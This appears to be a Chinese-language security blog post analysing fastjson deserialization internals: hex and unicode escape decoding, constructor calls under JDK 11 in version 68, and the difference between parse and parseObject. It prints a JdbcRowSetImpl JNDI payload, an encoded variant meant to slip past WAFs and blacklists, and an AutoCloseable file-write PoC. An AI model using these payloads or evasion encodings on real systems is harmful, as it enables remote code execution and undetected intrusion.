引言
fastjson作为github上star已经超过2w的开源项目,在各个企业内部都有着广泛的使用,所以这个项目也一直以来是黑客们漏洞挖掘的重要目标,而自68版本以来关于fastjson相关漏洞的文章已经逐渐稀少了起来,一部分原因在于对于autotype的绕过变得越来越艰难,一部分原因在于现有WAF也都开始对fastjson漏洞有了较强的规则检测。然而当fastjson出于较低版本或者jdk>=11的情况下,还是有一定的方法可以尝试WAF的绕过以及新的gadgets的挖掘,文章主要针对fastjson的一些特性进行分析,为在这些特殊场景下的漏洞利用和挖掘提供一个思路。
隐藏的编码套路
首先去看一个比较重要的函数,JSONLexerBase.scanSymbol,这个函数是fastjson用来处理json字符串的函数,这里只截取关键部分代码,
if(chLocal=='\\'){
if(!hasSpecial){
hasSpecial=true;
if(this.sp>=this.sbuf.length){
int newCapcity=this.sbuf.length*2;
if(this.sp>newCapcity){
newCapcity=this.sp;
}
char[]newsbuf=new char[newCapcity];
System.arraycopy(this.sbuf,0,newsbuf,0,this.sbuf.length);
this.sbuf=newsbuf;
}
this.arrayCopy(this.np+1,this.sbuf,0,this.sp);
}
chLocal=this.next();
switch(chLocal){
case'"':
hash=31*hash+34;
this.putChar('"');
break;
case'#':
case'$':
case'%':
case'&':
case'(':
case')':
case'*':
case'+':
case',':
case'-':
case'.':
case'8':
case'9':
case':':
case';':
case'<':
case'=':
case'>':
case'?':
case'@':
case'A':
case'B':
case'C':
case'D':
case'E':
case'G':
case'H':
case'I':
case'J':
case'K':
case'L':
case'M':
case'N':
case'O':
case'P':
case'Q':
case'R':
case'S':
case'T':
case'U':
case'V':
case'W':
case'X':
case'Y':
case'Z':
case'[':
case']':
case'^':
case'_':
case'`':
case'a':
case'c':
case'd':
case'e':
case'g':
case'h':
case'i':
case'j':
case'k':
case'l':
case'm':
case'o':
case'p':
case'q':
case's':
case'w':
default:
this.ch=chLocal;
throw new JSONException("unclosed.str.lit");
case'\'':
hash=31*hash+39;
this.putChar('\'');
break;
case'/':
hash=31*hash+47;
this.putChar('/');
break;
case'0':
hash=31*hash+chLocal;
this.putChar('\u0000');
break;
case'1':
hash=31*hash+chLocal;
this.putChar('\u0001');
break;
case'2':
hash=31*hash+chLocal;
this.putChar('\u0002');
break;
case'3':
hash=31*hash+chLocal;
this.putChar('\u0003');
break;
case'4':
hash=31*hash+chLocal;
this.putChar('\u0004');
break;
case'5':
hash=31*hash+chLocal;
this.putChar('\u0005');
break;
case'6':
hash=31*hash+chLocal;
this.putChar('\u0006');
break;
case'7':
hash=31*hash+chLocal;
this.putChar('\u0007');
break;
case'F':
case'f':
hash=31*hash+12;
this.putChar('\f');
break;
case'\\':
hash=31*hash+92;
this.putChar('\\');
break;
case'b':
hash=31*hash+8;
this.putChar('\b');
break;
case'n':
hash=31*hash+10;
this.putChar('\n');
break;
case'r':
hash=31*hash+13;
this.putChar('\r');
break;
case't':
hash=31*hash+9;
this.putChar('\t');
break;
case'u':
char c1=this.next();
char c2=this.next();
char c3=this.next();
char c4=this.next();
int val=Integer.parseInt(new String(new char[]{c1,c2,c3,c4}),16);
hash=31*hash+val;
this.putChar((char)val);
break;
case'v':
hash=31*hash+11;
this.putChar('\u000b');
break;
case'x':
char x1=this.ch=this.next();
char x2=this.ch=this.next();
int x_val=digits[x1]*16+digits[x2];
char x_char=(char)x_val;
hash=31*hash+x_char;
this.putChar(x_char);
}
}
在fastjson在进行json字符的处理时,如果扫描到 ‘/‘ (代码里是//是因为java自身的特殊字符编码),fastjson会认为字符经过了编码,所以会进行解码操作。在代码的case when场景中,绝大多数场景都是形如\f、\n这一类特殊字符,fastjson自然也就做的处理也很简单,这里重点看两个case,
也就是说当输入的字符是形如 \u 或者 \x 的情况下fastjson是会对其进行解码操作的(即fastjson支持字符串的Unicode编码和十六进制编码)。
ok,在获取了这个信息后,就用老版本的poc去尝试一下,
这里选取最初代版本的poc,测试一下,
{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
这里做一个多重编码,
{"\u0040\u0074\u0079\u0070\u0065":"\x63\x6f\x6d\x2e\x73\x75\x6e\x2e\x72\x6f\x77\x73\x65\x74\x2e\x4a\x64\x62\x63\x52\x6f\x77\x53\x65\x74\x49\x6d\x70\x6c","\u0064\u0061\u0074\u0061\u0053\u006f\u0075\u0072\u0063\u0065\u004e\u0061\u006d\u0065":"rmi://localhost:1099/Exploit","\x61\x75\x74\x6f\x43\x6f\x6d\x6d\x69\x74":true}
经过测试是可以成功达到poc的效果的,当然这个编码只能达到绕过部分waf和web黑名单的效果,因为编码是发生在反序列化之前的,所以无法绕过fastjson自身的autotype以及黑白名单。
何为默认构造函数
从我这边最初对于fastjson的序列化进行了解的时候,产生过一个认知,fastjson在进行反序列化的时候,首先会去调用无参构造函数进行实例化,之后再调用对应的setter与getter,因此下定了一个判断,反序列化的关键payload是要去各个class的setter和getter里面去找的,毕竟无参构造函数无法传参,利用基本就是不可行的。
这一点也是fastjson和jackson一个很大的区别,jackson可以通过如下写法将str传给反序列化类的构造函数,
["org.springframework.context.support.FileSystemXmlApplicationContext", "http://127.0.0.1/spel.xml"]
直到fastjson68版本漏洞爆出后,我看到了很多很有意思的poc,这些poc也实现了传参给反序列化类的构造函数,于是我这边也构造了68版本的poc,去尝试一下其中的可行性,
public class Poc68 {
public static void main(String[] args){
String str2 = "{\n" +
" \"@type\":\"java.lang.AutoCloseable\",\n" +
" \"@type\": \"java.io.FileOutputStream\",\n" +
" \"file\": \"/tmp/test\",\n" +
" \"append\": false\n" +
"}";
JSON.parseObject(str2);
}
}
结果就出现了以下报错,
在不断的尝试下,终于发现这些poc都有一个要求,jdk11及以上,测试code如下,感兴趣的可以打个断点跟一下,可以看到name和age的值是成功传入了构造函数的。但是还有个很重要的限制,Person类自身不能拥有无参构造函数,否则依旧会只调用无参构造函数。
package com.glassy;
import com.alibaba.fastjson.JSON;
public class Person implements AutoCloseable{
private String name;
private int age;
// public Person() {
// }
public Person(String name, int age) {
this.name = name;
this.age = age;
}
public String getName() {
return name;
}
public void setName(String name) {
this.name = name;
}
public int getAge() {
return age;
}
public void setAge(int age) {
this.age = age;
}
public void close() throws Exception {
}
public static void main(String[] args){
String json = "{\"@type\":\"java.lang.AutoCloseable\",\"@type\":\"com.glassy.Person\",\"name\":\"glassy\",\"age\":13}";
JSON.parseObject(json);
}
}
导致poc只能在jdk11利用成功的根本原因在于下面这行代码,
String[] lookupParameterNames = ASMUtils.lookupParameterNames(constructor);
fastjson会使用ASM框架去读取给定类的字节码,并从中获取各个参数名,从而去确认怎样调用有参构造函数,然而当jdk版本低于11的时候却无法读取到对应信息。由于字节码操作本身是很受jdk版本影响的(写过rasp的同学应该深有感触),所以这里笔者也只能去斗胆猜测可能是jdk版本的兼容性做的不好,有兴趣的朋友们也可以深入分析一下。
parse与parseObject
fastjson在反序列化的时候提供了两个用于parse jsonStr的函数,这两个函数对于poc却有着截然不同的要求,我们先去看一下两个函数在功能上有什么区别。
JSON.parseObject(json); //实例化json字符串为JSONObject
JSON.parse(json); //实例化json字符串为Object
看上去似乎区别不大,但实际上JSON.parse只会循环调用指定字段的set方法,而JSON.parseObject()是会去循环调用指定字段的set方法和get方法,而之所以多出了一步,就是为了通过getter取出字段值去给JSONObject赋值。因此,取决于反序列化的函数不同,poc的可用性也会产生差别。
总结
以上是对于fastjson一些比较不为人注意的特性的分享与分析,虽然都是一些很小的细节,但是却会对poc的构造、挖掘造成不小的影响,尾部再对这些特性做一下总结。
- fastjson支持unicode编码与十六进制编码,在fastjson版本较低的时候绕黑名单有一定的帮助。
- fastjson在jdk11是可以构造出调用有参构造函数的poc的,前提是这个class本身没有无参构造函数。
- fastjson的parse函数和parseObject对于实力化类的触发场景是不一样的。